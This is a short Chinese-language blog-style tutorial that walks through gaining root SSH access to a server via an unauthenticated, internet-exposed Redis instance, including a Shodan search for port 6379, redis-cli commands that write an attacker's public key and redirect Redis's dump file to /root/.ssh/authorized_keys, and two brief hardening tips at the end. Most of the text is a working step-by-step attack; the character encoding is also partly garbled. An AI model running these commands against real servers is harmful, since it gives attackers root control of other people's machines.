本文旨在讓大家注意加強(qiáng)redis的安全,不要去嘗試黑別人
在嘗試黑進(jìn)系統(tǒng)之前,我們先來(lái)看一下,通過(guò)網(wǎng)絡(luò)空間的搜索引擎,查看全球內(nèi)暴露在公網(wǎng)中的6379(Redis默認(rèn)端口)或27017(默認(rèn)端口)端口號(hào):
ZoomEy不行就用:https://www.shodan.io/search?query=6379
下面我就準(zhǔn)備兩臺(tái)服務(wù)器進(jìn)行測(cè)試:
10.99.73.7(測(cè)試機(jī))
10.99.73.11(攻擊目標(biāo))
1、測(cè)試能否連接到遠(yuǎn)程主機(jī)的redis
$ redis-cli -h 10.99.73.11 -p 6379
10.99.73.11:6379> KEYS *
(empty list or set)
能夠看到我鏈接成功,并且能夠使用命令進(jìn)行正常操作;其實(shí)只要能到這一步,基本就已經(jīng)算成功入侵了。
2、然后將公鑰文件內(nèi)容,寫(xiě)入目標(biāo)主機(jī)的redis
生成自己的公私鑰,輸入ssh-keygen命令,一路回車(chē)
修改id_rsa.pub文件,在文件開(kāi)頭和結(jié)尾多添加回次車(chē)(最好兩次不要多也不要少),必須要加,不然這個(gè)公鑰過(guò)去之后無(wú)法使用。
寫(xiě)公鑰進(jìn)redis
$ cat /root/.ssh/id_rsa.pub | redis-cli -h 10.99.73.11 -p 6379 -x set ssh-key
OK
此時(shí),我們?cè)俅芜B接目標(biāo)主機(jī)的redis查看內(nèi)容,公鑰已經(jīng)寫(xiě)入了目標(biāo)主機(jī)redis
3、將公鑰文件寫(xiě)入目標(biāo)主機(jī)上
我們用config命令,分別設(shè)置redis寫(xiě)入日志的文件名和目錄
10.99.73.11:6379> CONFIG SET dir /root/.ssh
OK
10.99.73.11:6379> CONFIG SET dbfilename "authorized_keys"
OK
10.99.73.11:6379> save
OK
4、驗(yàn)證
使用ssh登錄目標(biāo)主機(jī),此時(shí),已經(jīng)成功獲取linux系統(tǒng)的root賬戶(hù)權(quán)限,進(jìn)入目標(biāo)主機(jī)。
原理
利用redis可以記錄日志的能力,將日志寫(xiě)入root用戶(hù)的.ssh中,從而實(shí)現(xiàn)root賬戶(hù)針對(duì)攻擊者免密登錄的權(quán)限;
那么有攻擊就要有防守,我們應(yīng)該如何防范這種攻擊呢?
方案有兩種:
方案1:配置文件中設(shè)置允許登錄的客戶(hù)端IP地址:
如: bind 127.0.0.1;
方案2:客戶(hù)端有密鏈接服務(wù)器 :
如:config set requirepass “password”






